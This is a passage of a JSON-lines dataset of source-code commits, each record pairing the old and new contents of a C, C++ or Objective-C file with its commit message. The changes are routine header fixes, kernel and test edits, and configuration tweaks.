transforms:\n\n#0  [0x1018C7]\n#1  [0x101636]\n#2  [0x100231]\n\ninto:\n\n#0  [0x1018C7] panic\n#1  [0x101636] k_main\n#2  [0x100231] start\n","lang":"C","license":"mit","repos":"ChrisCummins\/euclid,ChrisCummins\/euclid,ChrisCummins\/euclid"}
{"commit":"1ca1f8f6b3aaf6d7f93262594578dfad404bd94e","old_file":"arch\/mips\/include\/asm\/types.h","new_file":"arch\/mips\/include\/asm\/types.h","old_contents":"\/*\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\n * Copyright (C) 1994, 1995, 1996, 1999 by Ralf Baechle\n * Copyright (C) 2008 Wind River Systems,\n *   written by Ralf Baechle\n * Copyright (C) 1999 Silicon Graphics, Inc.\n *\/\n#ifndef _ASM_TYPES_H\n#define _ASM_TYPES_H\n\n#include <asm-generic\/int-ll64.h>\n#include <uapi\/asm\/types.h>\n\n\/*\n * These aren't exported outside the kernel to avoid name space clashes\n *\/\n#ifndef __ASSEMBLY__\n\n\/*\n * Don't use phys_addr_t.  You've been warned.\n *\/\n#ifdef CONFIG_PHYS_ADDR_T_64BIT\ntypedef unsigned long long phys_addr_t;\n#else\ntypedef unsigned long phys_addr_t;\n#endif\n\n#endif \/* __ASSEMBLY__ *\/\n\n#endif \/* _ASM_TYPES_H *\/\n","new_contents":"\/*\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\n * Copyright (C) 1994, 1995, 1996, 1999 by Ralf Baechle\n * Copyright (C) 2008 Wind River Systems,\n *   written by Ralf Baechle\n * Copyright (C) 1999 Silicon Graphics, Inc.\n *\/\n#ifndef _ASM_TYPES_H\n#define _ASM_TYPES_H\n\n#include <asm-generic\/int-ll64.h>\n#include <uapi\/asm\/types.h>\n\n#endif \/* _ASM_TYPES_H *\/\n","subject":"Remove now unused definition of phys_t.","message":"MIPS: Remove now unused definition of phys_t.\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"77cd208abac5095c288ff103709a8ddd4d4e8b3d","old_file":"Sources\/OCAObject.h","new_file":"Sources\/OCAObject.h","old_contents":"\/\/\n\/\/  OCAObject.h\n\/\/  Objective-Chain\n\/\/\n\/\/  Created by Martin Kiss on 30.12.13.\n\/\/  Copyright © 2014 Martin Kiss. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n#define OCA_atomic  atomic\n\n\n#define OCALazyGetter(TYPE, PROPERTY) \\\n@synthesize PROPERTY = _##PROPERTY; \\\n- (TYPE)PROPERTY { \\\n    if ( ! self->_##PROPERTY) { \\\n        self->_##PROPERTY = [self oca_lazyGetter_##PROPERTY]; \\\n    } \\\n    return self->_##PROPERTY; \\\n} \\\n- (TYPE)oca_lazyGetter_##PROPERTY \\\n\n\n\n#if !defined(NS_BLOCK_ASSERTIONS)\n\n    #define OCAAssert(CONDITION, MESSAGE, ...) \\\nif ( ! (CONDITION) && (( [[NSAssertionHandler currentHandler] \\\n                           handleFailureInFunction: [NSString stringWithUTF8String:__PRETTY_FUNCTION__] \\\n                           file: [NSString stringWithUTF8String:__FILE__] \\\n                           lineNumber: __LINE__ \\\n                           description: (MESSAGE), ##__VA_ARGS__], YES)) ) \/\/ Will NOT execute appended code, if exception is thrown.\n\n#else\n\n#define OCAAssert(CONDITION, MESSAGE, ...)\\\n    if ( ! (CONDITION) && (( NSLog(@\"*** Assertion failure in %s, %s:%d, Condition not satisfied: %s, reason: '\" MESSAGE \"'\", __PRETTY_FUNCTION__, __FILE__, __LINE__, #CONDITION, ##__VA_ARGS__), YES)) ) \/\/ Will execute appended code.\n\n#endif\n\n\n\n\n@interface OCAObject : NSObject\n\n@end\n","new_contents":"\/\/\n\/\/  OCAObject.h\n\/\/  Objective-Chain\n\/\/\n\/\/  Created by Martin Kiss on 30.12.13.\n\/\/  Copyright © 2014 Martin Kiss. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n#define OCA_atomic  atomic\n\n\n#define OCALazyGetter(TYPE, PROPERTY) \\\n@synthesize PROPERTY = _##PROPERTY; \\\n- (TYPE)PROPERTY { \\\n    if ( ! self->_##PROPERTY) { \\\n        self->_##PROPERTY = [self oca_lazyGetter_##PROPERTY]; \\\n    } \\\n    return self->_##PROPERTY; \\\n} \\\n- (TYPE)oca_lazyGetter_##PROPERTY \\\n\n\n\n#if !defined(NS_BLOCK_ASSERTIONS)\n\n    #define OCAAssert(CONDITION, MESSAGE, ...) \\\n        if ( ! (CONDITION) && (( [[NSAssertionHandler currentHandler] \\\n                                   handleFailureInFunction: [NSString stringWithUTF8String:__PRETTY_FUNCTION__] \\\n                                   file: [NSString stringWithUTF8String:__FILE__] \\\n                                   lineNumber: __LINE__ \\\n                                   description: (MESSAGE), ##__VA_ARGS__], YES)) ) \/\/ Will NOT execute appended code, if exception is thrown.\n\n#else\n\n    #define OCAAssert(CONDITION, MESSAGE, ...)\\\n        if ( ! (CONDITION) && (( NSLog(@\"*** Assertion failure in %s, %s:%d, Condition not satisfied: %s, reason: '\" MESSAGE \"'\", __PRETTY_FUNCTION__, __FILE__, __LINE__, #CONDITION, ##__VA_ARGS__), YES)) ) \/\/ Will execute appended code.\n\n#endif\n\n\n\n\n@interface OCAObject : NSObject\n\n@end\n","subject":"Fix indentation of Assert macros","message":"Fix indentation of Assert macros\n","lang":"C","license":"mit","repos":"Tricertops\/Objective-Chain,iMartinKiss\/Objective-Chain"}
{"commit":"c91692c18f236014fb058fabb517eb19949f1cae","old_file":"src\/dukbind_std.h","new_file":"src\/dukbind_std.h","old_contents":"#pragma once\n\n\n#ifndef DUKTAPE_H_INCLUDED\n    #error Duktape.h should be included before this header\n#endif\n\n#include <vector>\n\nnamespace dukbind\n{\n    template< typename _Type_ >\n    void Push( duk_context * ctx, const std::vector<_Type_> & table )\n    {\n        size_t index, end = table.size();\n        duk_idx_t arr_idx = duk_push_array( ctx );\n        for( index = 0; index < end; ++index )\n        {\n            Push( ctx, table[ index ], (_Type_*)0 );\n            duk_put_prop_index( ctx, arr_idx, index );\n        }\n    }\n\n    std::string Get( duk_context * ctx, const int index, const std::string * );\n    void Push( duk_context * ctx, const std::string & value );\n}\n","new_contents":"#pragma once\n\n\n#ifndef DUKTAPE_H_INCLUDED\n    #error Duktape.h should be included before this header\n#endif\n\n#include <vector>\n\nnamespace dukbind\n{\n    template< typename _Type_ >\n    void Push( duk_context * ctx, const std::vector<_Type_> & table )\n    {\n        size_t index, end = table.size();\n        duk_idx_t arr_idx = duk_push_array( ctx );\n        for( index = 0; index < end; ++index )\n        {\n            Push( ctx, table[ index ] );\n            duk_put_prop_index( ctx, arr_idx, index );\n        }\n    }\n\n    std::string Get( duk_context * ctx, const int index, const std::string * );\n    void Push( duk_context * ctx, const std::string & value );\n}\n","subject":"Fix for new Push signature","message":"Fix for new Push signature\n","lang":"C","license":"mit","repos":"crazyjul\/dukbind,crazyjul\/dukbind"}
{"commit":"d579fd0a3cea2f4a04096e2116794daba6bf6eec","old_file":"src\/rcimmixcons.h","new_file":"src\/rcimmixcons.h","old_contents":"\/\/ Copyright (c) <2015> <lummax>\n\/\/ Licensed under MIT (http:\/\/opensource.org\/licenses\/MIT)\n\n#ifndef RCIMMIXCONS_H\n#define RCIMMIXCONS_H\n\n#include <stdint.h>\n#include <stdlib.h>\n\ntypedef struct {\n    size_t reference_count;\n    uint8_t spans_lines;\n    uint8_t forwarded;\n    uint8_t logged;\n    uint8_t marked;\n    uint8_t new;\n} GCHeader;\n\ntypedef struct {\n    size_t object_size;\n    size_t num_members;\n} GCRTTI;\n\ntypedef struct {\n    GCHeader header;\n    GCRTTI* rtti;\n} GCObject;\n\ntypedef struct {} RCImmixCons;\n\nRCImmixCons* rcx_create();\nGCObject* rcx_allocate(RCImmixCons* collector, GCRTTI* rtti);\nvoid rcx_collect(RCImmixCons* collector, uint8_t evacuation, uint8_t cycle_collect);\nvoid rcx_write_barrier(RCImmixCons* collector, GCObject* object);\nvoid rcx_destroy(RCImmixCons* collector);\n\n#endif\n","new_contents":"\/\/ Copyright (c) <2015> <lummax>\n\/\/ Licensed under MIT (http:\/\/opensource.org\/licenses\/MIT)\n\n#ifndef RCIMMIXCONS_H\n#define RCIMMIXCONS_H\n\n#include <stdint.h>\n#include <stdlib.h>\n\ntypedef struct {\n    size_t reference_count;\n    uint8_t spans_lines;\n    uint8_t forwarded;\n    uint8_t logged;\n    uint8_t marked;\n    uint8_t pinned;\n    uint8_t new;\n} GCHeader;\n\ntypedef struct {\n    size_t object_size;\n    size_t num_members;\n} GCRTTI;\n\ntypedef struct {\n    GCHeader header;\n    GCRTTI* rtti;\n} GCObject;\n\ntypedef struct {} RCImmixCons;\n\nRCImmixCons* rcx_create();\nGCObject* rcx_allocate(RCImmixCons* collector, GCRTTI* rtti);\nvoid rcx_collect(RCImmixCons* collector, uint8_t evacuation, uint8_t cycle_collect);\nvoid rcx_write_barrier(RCImmixCons* collector, GCObject* object);\nvoid rcx_destroy(RCImmixCons* collector);\n\n#endif\n","subject":"Fix C-FFI: added pinned mark","message":"Fix C-FFI: added pinned mark\n","lang":"C","license":"mit","repos":"lummax\/librcimmixcons,lummax\/librcimmixcons,lummax\/librcimmixcons,lummax\/librcimmixcons"}
{"commit":"abc838f5e263c42082c324d84c1dcf47074656bc","old_file":"src\/Logger.h","new_file":"src\/Logger.h","old_contents":"\/\/ Copyright eeGeo Ltd (2012-2014), All Rights Reserved\n\n#pragma once\n\n#include \"Types.h\"\n\n#if defined(EEGEO_DROID)\n#include <android\/log.h>\n#define EXAMPLE_LOG(...) __android_log_print(ANDROID_LOG_INFO,\"Eegeo_Examples\",__VA_ARGS__)\n#else\n#define EXAMPLE_LOG(...) printf(__VA_ARGS__)\n#endif\n","new_contents":"\/\/ Copyright eeGeo Ltd (2012-2014), All Rights Reserved\n\n#pragma once\n\n#define EXAMPLE_LOG(...) printf(__VA_ARGS__)\n","subject":"Remove references to Android from iOS API logger.","message":"Remove references to Android from iOS API logger.\n","lang":"C","license":"bsd-2-clause","repos":"wrld3d\/ios-api,wrld3d\/ios-api,wrld3d\/ios-api,wrld3d\/ios-api"}
{"commit":"d352a1145f833ee804dff6576b4c0d5ee04cb099","old_file":"quickdialog\/QImageElement.h","new_file":"quickdialog\/QImageElement.h","old_contents":"\/\/\n\/\/ Copyright 2012 Ludovic Landry - http:\/\/about.me\/ludoviclandry\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this\n\/\/ file except in compliance with the License. You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software distributed under\n\/\/ the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n\/\/ ANY KIND, either express or implied. See the License for the specific language governing\n\/\/ permissions and limitations under the License.\n\/\/\n\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n#import \"QRootElement.h\"\n\n@interface QImageElement : QEntryElement\n\n@property (nonatomic, strong) UIImage *imageValue;\n@property (nonatomic, strong) NSString *imageValueNamed;\n@property (nonatomic, assign) float imageMaxLength;\n@property(nonatomic) enum UIImagePickerControllerSourceType source;\n\n\n- (QImageElement *)initWithTitle:(NSString *)title detailImage:(UIImage *)image;\n\n@end\n","new_contents":"\/\/\n\/\/ Copyright 2012 Ludovic Landry - http:\/\/about.me\/ludoviclandry\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this\n\/\/ file except in compliance with the License. You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software distributed under\n\/\/ the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n\/\/ ANY KIND, either express or implied. See the License for the specific language governing\n\/\/ permissions and limitations under the License.\n\/\/\n\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n#import \"QRootElement.h\"\n\n@interface QImageElement : QEntryElement\n\n@property (nonatomic, strong) UIImage *imageValue;\n@property (nonatomic, strong) NSString *imageValueNamed;\n@property (nonatomic, assign) float imageMaxLength;\n@property(nonatomic) UIImagePickerControllerSourceType source;\n\n\n- (QImageElement *)initWithTitle:(NSString *)title detailImage:(UIImage *)image;\n\n@end\n","subject":"Fix bug that was causing error building pod in RubyMotion project","message":"Fix bug that was causing error building pod in RubyMotion project\n","lang":"C","license":"mit","repos":"raiffeisennet\/QuickDialog"}
{"commit":"ad5914fb29c4e32b2979bb4445a8a65eee90d625","old_file":"main.c","new_file":"main.c","old_contents":"\n#pragma config(Motor,  port2,           shooterleft,   tmotorVex393_MC29, openLoop, reversed)\n#pragma config(Motor,  port3,           shooterright,   tmotorVex393_MC29, openLoop)\n#pragma config(Motor,  port4,           spinnyintakeofdoomnumber1,   tmotorVex393_MC29, openLoop)\n#pragma config(Motor,  port5,           garry,   tmotorVex393_MC29, openLoop)\n#pragma config(Motor,  port6,           therollmodel, tmotorVex393_MC29, openLoop)\n\n#include \"controller.h\"\n#include \"drive.h\"\n\n#include \"drive.c\"\n\ntask main()\n{\n\twhile(1) {\n\t\tmotor[shooterleft] = motor[shooterright] = 127;\n\t\tmotor[spinnyintakeofdoomnumber1] = motor[garry] = motor[therollmodel] = 127;\n\t}\n}\n","new_contents":"\n#pragma config(Motor,  port2,           shooterleft,   tmotorVex393_MC29, openLoop, reversed)\n#pragma config(Motor,  port3,           shooterright,   tmotorVex393_MC29, openLoop)\n#pragma config(Motor,  port4,           spinnyintakeofdoomnumber1,   tmotorVex393_MC29, openLoop)\n#pragma config(Motor,  port5,           garry,   tmotorVex393_MC29, openLoop)\n#pragma config(Motor,  port6,           therollmodel, tmotorVex393_MC29, openLoop)\n\n#include \"controller.h\"\n#include \"drive.h\"\n\n\/* \"Link\" with other files *\/\n#include \"drive.c\"\n\ntask main()\n{\n\twhile(1) {\n\t\tmotor[shooterleft] = motor[shooterright] = 127;\n\t\tmotor[spinnyintakeofdoomnumber1] = motor[garry] = motor[therollmodel] = 127;\n\t}\n}\n","subject":"Add comment about ROBOTC \"linking\"","message":"Add comment about ROBOTC \"linking\"\n","lang":"C","license":"apache-2.0","repos":"IceAxeWarriors143A\/NothingButNet2015,IceAxeWarriors143A\/NothingButNet2015"}
{"commit":"bc686c34cb64bb3bfa636643367903f572fe8ece","old_file":"src\/kernel.c","new_file":"src\/kernel.c","old_contents":"#include \"terminal.h\"\n#include \"multiboot.h\"\n#include \"pic.h\"\n#include \"keyboard.h\"\n#include \"frame_allocator.h\"\n#include \"paging.h\"\n\n#include \"assert.h\"\n\n\/\/Calling convention on x86-64 System V ABI\n\/\/rdi, rsi, rdx, rcx for ints\n\nvoid kernel_main(uintptr_t pmultiboot) {\n\tinit_terminal();\n\n\tpic_init(0x20, 0x28);\n\tpic_enable_interrupts();\n\n\tkeyboard_init();\n\tadd_interrupt_handler(0x21, keyboard_interrupt);\n\n\tinit_multiboot_data(pmultiboot);\n\n\tinit_allocator(&data);\n\n\t\/\/test();\n\n\n\twhile(1) {\n\t\t\/\/ struct frame f;\n\t\t\/\/ allocate_frame(&f);\n\n\t\t\/\/ print_text(\"Alloc frame num: \");\n\t\t\/\/ print_hex_number(f.number);\n\t\t\/\/ print_newline();\n\t\tint foo = 10;\n\t\tint bar = 0xdeadbeef;\n\t\tsize_t baz = 0xcafebabecafebabe;\n\t\t\/\/terminal_printf(\"\\ntest\\ntest2\\ntest3\\n%x\\n%3X\\n%#x\\n%X\\n%zx\", foo, foo, bar, bar, baz);\n\n\t\tfor(int k = 0; k < 50000000; ++k) {}\n\t}\n}","new_contents":"#include \"terminal.h\"\n#include \"multiboot.h\"\n#include \"pic.h\"\n#include \"keyboard.h\"\n#include \"frame_allocator.h\"\n#include \"paging.h\"\n\n#include \"assert.h\"\n\n\/\/Calling convention on x86-64 System V ABI\n\/\/rdi, rsi, rdx, rcx for ints\n\nvoid page_fault(void) {\n\tterminal_printf(\"Fault\");\n\tassert(0!=0);\n}\n\nvoid kernel_main(uintptr_t pmultiboot) {\n\tinit_terminal();\n\n\tpic_init(0x20, 0x28);\n\tpic_enable_interrupts();\n\n\tkeyboard_init();\n\tadd_interrupt_handler(0x21, keyboard_interrupt);\n\n\tadd_interrupt_handler(0x0e, page_fault);\n\n\tinit_multiboot_data(pmultiboot);\n\n\tinit_allocator(&data);\n\n\n\tremap_kernel();\n\t\/\/test();\n\n\n\twhile(1) {\n\t\t\/\/ struct frame f;\n\t\t\/\/ allocate_frame(&f);\n\n\t\t\/\/ print_text(\"Alloc frame num: \");\n\t\t\/\/ print_hex_number(f.number);\n\t\t\/\/ print_newline();\n\t\tint foo = 10;\n\t\tint bar = 0xdeadbeef;\n\t\tsize_t baz = 0xcafebabecafebabe;\n\t\t\/\/terminal_printf(\"\\ntest\\ntest2\\ntest3\\n%x\\n%3X\\n%#x\\n%X\\n%zx\", foo, foo, bar, bar, baz);\n\n\t\tfor(int k = 0; k < 50000000; ++k) {}\n\t}\n}","subject":"Add page fault handler to abort on page fault.","message":"Add page fault handler to abort on page fault.\n","lang":"C","license":"apache-2.0","repos":"RichardHScott\/os_c"}
{"commit":"07e3a43edbaf84f04359d333013b423dde057d3b","old_file":"pi_code\/countbits.c","new_file":"pi_code\/countbits.c","old_contents":"#include <stdint.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <fcntl.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n\nint main (int argc, char *argv[])\n{\n\tchar buf[4096];\n\n\tint fd = open(\"inputcap\", O_RDONLY);\n\tmemset(buf, 0, 4096);\n\tint ret = read(fd, buf, 4000);\n\tif (ret < 0) exit(0);\n\tint i;\n\tint count;\n    for (i = 0; i < 4000; ++i)\n    {\n\t\tchar byte = buf[i];\n\t\tint mask = 0x80;\n\t\twhile (mask)\n\t\t{\n\t\t\tif (mask & byte) ++count;\n\t\t\tmask >>= 1;\n\t\t}\n\t}\n\tprintf(\"Distance = %6d us, %6.2f inches\\n\", count, (float)count \/ 148.0f);\n\t\n}\n","new_contents":"#include <stdint.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <fcntl.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n\nint main (int argc, char *argv[])\n{\n\tchar buf[4096];\n\n\tint fd = open(\"inputcap\", O_RDONLY);\n\tmemset(buf, 0, 4096);\n\tint ret = read(fd, buf, 4000);\n\tif (ret < 0) exit(0);\n\tint i;\n\tint count;\n    for (i = 0; i < 4000; ++i)\n    {\n\t\tchar byte = buf[i];\n\t\tint mask = 0x80;\n\t\twhile (mask)\n\t\t{\n\t\t\tif (mask & byte) ++count;\n\t\t\tmask >>= 1;\n\t\t}\n\t}\n\tprintf(\"Distance = %6d us, %6.2f inches\\n\", count, (float)count \/ 148.0f);\n\t\n\treturn 0;\n}\n","subject":"Fix warning for lack of return from main.","message":"Fix warning for lack of return from main.\n","lang":"C","license":"apache-2.0","repos":"rlstrand\/ultrasonic,rlstrand\/ultrasonic,nord0296\/ultrasonic,nord0296\/ultrasonic"}
{"commit":"06031732b6e87edfe67e65ce1daa1cc3cba5fb2f","old_file":"Wangscape\/noise\/module\/codecs\/ForwardWrapperCodec.h","new_file":"Wangscape\/noise\/module\/codecs\/ForwardWrapperCodec.h","old_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include <noise\/noise.h>\n#include \"noise\/module\/Wrapper.h\"\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<noise::module::Wrapper<noise::module::Forward>>\n{\n    using ForwardWrapper = noise::module::Wrapper<noise::module::Forward>;\n    static codec::object_t<ForwardWrapper> codec()\n    {\n        auto codec = codec::object<ForwardWrapper>();\n        codec.required(\"type\", codec::eq<std::string>(\"Forward\"));\n        codec.required(\"SourceModule\", codec::ignore_t<int>());\n        return codec;\n    }\n};\n}\n}\n","new_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include <noise\/noise.h>\n#include \"noise\/module\/Wrapper.h\"\n#include \"noise\/module\/Forward.h\"\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<noise::module::Wrapper<noise::module::Forward>>\n{\n    using ForwardWrapper = noise::module::Wrapper<noise::module::Forward>;\n    static codec::object_t<ForwardWrapper> codec()\n    {\n        auto codec = codec::object<ForwardWrapper>();\n        codec.required(\"type\", codec::eq<std::string>(\"Forward\"));\n        codec.required(\"SourceModule\", codec::ignore_t<int>());\n        return codec;\n    }\n};\n}\n}\n","subject":"Add missing header to Forward codec","message":"Add missing header to Forward codec\n","lang":"C","license":"mit","repos":"serin-delaunay\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape,serin-delaunay\/Wangscape"}
{"commit":"255a42b67118fc7ee69a5a1a139a87a9de1da98d","old_file":"include\/relay-exp.h","new_file":"include\/relay-exp.h","old_contents":"#ifndef _RELAY_EXP_H_\n#define _RELAY_EXP_H_\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <math.h>\n#include <unistd.h>\n\n#include <onion-mcp23008-driver.h>\n\n#define RELAY_EXP_ADDR_SWITCH_NUM\t\t\t3\n#define RELAY_EXP_ADDR_SWITCH_DEFAULT_VAL\t\"000\"\n\n\/\/ type definitions\ntypedef enum e_RelayDriverChannels {\n\tRELAY_EXP_CHANNEL0 \t\t= 0,\n\tRELAY_EXP_CHANNEL1,\n\tRELAY_EXP_NUM_CHANNELS,\n} ePwmDriverAddr;\n\n\nint \trelayDriverInit \t\t(int addr);\nint \trelayCheckInit \t\t\t(int addr, int *bInitialized);\n\nint \trelaySetChannel\t\t\t(int addr, int channel, int state);\nint \trelaySetAllChannels\t\t(int addr, int state);\n\n\n#endif \/\/ _RELAY_EXP_H_","new_contents":"#ifndef _RELAY_EXP_H_\n#define _RELAY_EXP_H_\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <math.h>\n#include <unistd.h>\n\n#include <onion-mcp23008-driver.h>\n\n#define RELAY_EXP_ADDR_SWITCH_NUM\t\t\t3\n#define RELAY_EXP_ADDR_SWITCH_DEFAULT_VAL\t\"000\"\n\n\/\/ type definitions\ntypedef enum e_RelayDriverChannels {\n\tRELAY_EXP_CHANNEL0 \t\t= 0,\n\tRELAY_EXP_CHANNEL1,\n\tRELAY_EXP_NUM_CHANNELS,\n} eRelayDriverChannels;\n\n\nint \trelayDriverInit \t\t(int addr);\nint \trelayCheckInit \t\t\t(int addr, int *bInitialized);\n\nint \trelaySetChannel\t\t\t(int addr, int channel, int state);\nint \trelaySetAllChannels\t\t(int addr, int state);\n\n\n#endif \/\/ _RELAY_EXP_H_","subject":"Fix typo on e_RelayDriverChannels declaration","message":"Fix typo on e_RelayDriverChannels declaration\n","lang":"C","license":"agpl-3.0","repos":"OnionIoT\/i2c-exp-driver,OnionIoT\/i2c-exp-driver,OnionIoT\/i2c-exp-driver,OnionIoT\/i2c-exp-driver,OnionIoT\/i2c-exp-driver"}
{"commit":"5b6bfd2202b9ad7a3eafd0585ce5c37dd6f5d91f","old_file":"tests\/test_queue.c","new_file":"tests\/test_queue.c","old_contents":"#include \"mbb\/test.h\"\n#include \"mbb\/queue.h\"\n#include \"mbb\/debug.h\"\n\nchar *test_enqueue_dequeue()\n{\n\tint i;\n\n\tMQUE_DEFINE_STRUCT(int, 5) queue;\n\n\tMQUE_INITIALISE(&queue);\n\n\tMUNT_ASSERT(MQUE_IS_EMPTY(&queue));\n\n\tfor (i = 1; i <= 5; i++) {\n\t\tMUNT_ASSERT(!MQUE_IS_FULL(&queue));\n\t\tMQUE_ENQUEUE(&queue, i);\n\t}\n\n\tfor (i = 1; i <= 5; i++) {\n\t\tint head;\n\n\t\tMUNT_ASSERT(!MQUE_IS_EMPTY(&queue));\n\n\t\thead = MQUE_HEAD(&queue);\n\t\tMQUE_DEQUEUE(&queue);;\n\t}\n\n\tMUNT_ASSERT(MQUE_IS_EMPTY(&queue));\n\n\treturn 0;\n}\n","new_contents":"#include \"mbb\/test.h\"\n#include \"mbb\/queue.h\"\n#include \"mbb\/debug.h\"\n\nchar *test_enqueue_dequeue()\n{\n\tint i;\n\n\tMQUE_DEFINE_STRUCT(int, 5) queue;\n\n\tMQUE_INITIALISE(&queue);\n\n\tMUNT_ASSERT(MQUE_IS_EMPTY(&queue));\n\n\tfor (i = 1; i <= 5; i++) {\n\t\tMUNT_ASSERT(!MQUE_IS_FULL(&queue));\n\t\tMQUE_ENQUEUE(&queue, i);\n\t}\n\n\tfor (i = 1; i <= 5; i++) {\n\t\tint head;\n\n\t\tMUNT_ASSERT(!MQUE_IS_EMPTY(&queue));\n\n\t\thead = MQUE_HEAD(&queue);\n\t\tMQUE_DEQUEUE(&queue);;\n\n\t\tMUNT_ASSERT(head == i);\n\t}\n\n\tMUNT_ASSERT(MQUE_IS_EMPTY(&queue));\n\n\treturn 0;\n}\n","subject":"Check enqueued values in unit test","message":"Check enqueued values in unit test\n","lang":"C","license":"mit","repos":"jawebada\/libmbb,jawebada\/libmbb,jawebada\/libmbb,jawebada\/libmbb"}
{"commit":"623e78434cda7df52e88fd27521626dd5182021f","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"#pragma once\n\n#include <pebble.h>\n\n#define BG_COLOR GColorWhite\n\n#ifdef PBL_ROUND\n#define ACTION_BAR_WIDTH_WITH_GAP (ACTION_BAR_WIDTH + 12)\n#else\n#define ACTION_BAR_WIDTH_WITH_GAP (ACTION_BAR_WIDTH + 2)\n#endif\n\n#define BPM_DEFAULT_BPM_T 1200\n\n#define BPM_FONT FONT_KEY_BITHAM_42_BOLD\n#define BPM_FONT_HEIGHT 42\n\n#define BPM_TEXT_INVALID \"---\"\n#define BPM_TEXT_BUFFER_SIZE 10\n\n#define BPM_HINT_FONT FONT_KEY_GOTHIC_24_BOLD\n#define BPM_HINT_FONT_HEIGHT 24\n#define BPM_HINT_TEXT \"Current BPM:\"\n\n#define METRONOME_HINT_FONT FONT_KEY_GOTHIC_18_BOLD\n#define METRONOME_HINT_FONT_HEIGHT 18\n#define METRONOME_HINT_TEXT \"Metronome BPM:\"\n\n#define METRONOME_VIBE_DURATION_MS 50\n\n#define METRONOME_EDIT_TAP_REPEAT_MS 30\n\n#define TAP_TIMEOUT_SECONDS 2\n","new_contents":"#pragma once\n\n#include <pebble.h>\n\n#define BG_COLOR GColorWhite\n\n#ifdef PBL_ROUND\n#define ACTION_BAR_WIDTH_WITH_GAP (ACTION_BAR_WIDTH + 12)\n#else\n#define ACTION_BAR_WIDTH_WITH_GAP (ACTION_BAR_WIDTH + 2)\n#endif\n\n#define BPM_DEFAULT_BPM_T 1200\n\n#define BPM_FONT FONT_KEY_BITHAM_42_BOLD\n#define BPM_FONT_HEIGHT 42\n\n#define BPM_TEXT_INVALID \"---\"\n#define BPM_TEXT_BUFFER_SIZE 10\n\n#define BPM_HINT_FONT FONT_KEY_GOTHIC_24_BOLD\n#define BPM_HINT_FONT_HEIGHT 24\n#define BPM_HINT_TEXT \"Current BPM:\"\n\n#ifdef PBL_ROUND\n#define METRONOME_HINT_FONT FONT_KEY_GOTHIC_18_BOLD\n#define METRONOME_HINT_FONT_HEIGHT 18\n#else\n#define METRONOME_HINT_FONT FONT_KEY_GOTHIC_14_BOLD\n#define METRONOME_HINT_FONT_HEIGHT 14\n#endif\n#define METRONOME_HINT_TEXT \"Metronome BPM:\"\n\n#define METRONOME_VIBE_DURATION_MS 50\n\n#define METRONOME_EDIT_TAP_REPEAT_MS 30\n\n#define TAP_TIMEOUT_SECONDS 2\n","subject":"Fix font size on rectangular watches","message":"Fix font size on rectangular watches\n","lang":"C","license":"mit","repos":"aarmea\/bpm-pebble,aarmea\/bpm-pebble,aarmea\/bpm-pebble"}
{"commit":"9930b7c47f8c4cac765be76436a69de4ba5664f7","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"#ifndef _CONFIG_H\n#define _CONFIG_H\n\n#define ENABLE_COUNTERMOVE_HISTORY 0\n#define ENABLE_LMP_MIN_MOVES 0\n#define ENABLE_HISTORY_PRUNE_DEPTH 4\n#define ENABLE_NNUE 0\n#define ENABLE_NNUE_SIMD 0\n\n#endif\n","new_contents":"#ifndef _CONFIG_H\n#define _CONFIG_H\n\n#define ENABLE_COUNTERMOVE_HISTORY 0\n#define ENABLE_LMP_MIN_MOVES 4\n#define ENABLE_HISTORY_PRUNE_DEPTH 4\n#define ENABLE_NNUE 0\n#define ENABLE_NNUE_SIMD 0\n\n#endif\n","subject":"Enable late move pruning at min 4","message":"Enable late move pruning at min 4\n","lang":"C","license":"bsd-3-clause","repos":"jwatzman\/nameless-chessbot,jwatzman\/nameless-chessbot"}
